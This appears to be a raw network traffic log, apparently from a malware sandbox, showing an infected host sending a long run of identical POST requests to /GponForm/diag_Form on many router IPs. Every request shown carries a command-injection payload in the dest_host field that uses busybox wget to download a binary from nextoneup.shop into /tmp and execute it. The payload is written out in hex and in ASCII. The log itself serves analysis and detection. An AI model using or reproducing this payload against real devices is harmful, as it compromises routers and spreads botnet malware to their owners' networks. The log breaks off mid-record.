XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.23	52440	109.104.249.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162974119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.23	47752	79.4.41.212	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163006067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.23	47904	117.187.200.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163075924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.23	38208	118.112.98.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163152933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.23	50456	117.109.33.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163188934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.23	44526	42.74.133.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163208008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.23	59382	5.191.250.8	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163269043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.23	46136	118.120.115.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163291931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.23	51572	117.62.167.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163350105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.23	47106	109.143.95.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163351059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.23	60094	79.28.104.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163351059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.23	55146	37.169.103.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163351059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.23	58114	118.10.46.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163409948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.23	47500	210.196.130.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163423061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.23	37528	178.189.85.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163464069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.23	34466	117.229.251.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163491011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.23	56632	5.254.34.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163556099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.23	49320	42.116.208.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163588047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.23	56654	212.119.79.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163636923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.23	54348	2.37.147.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163652897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.23	51474	117.233.187.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163733959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.23	59146	123.112.184.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163737059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.23	59810	2.40.31.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163738012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.23	55796	94.232.72.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163793087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.23	52226	37.29.57.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163846016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.23	36900	118.221.132.63	443

Timestamp	Bytes transferred	Direction	Data
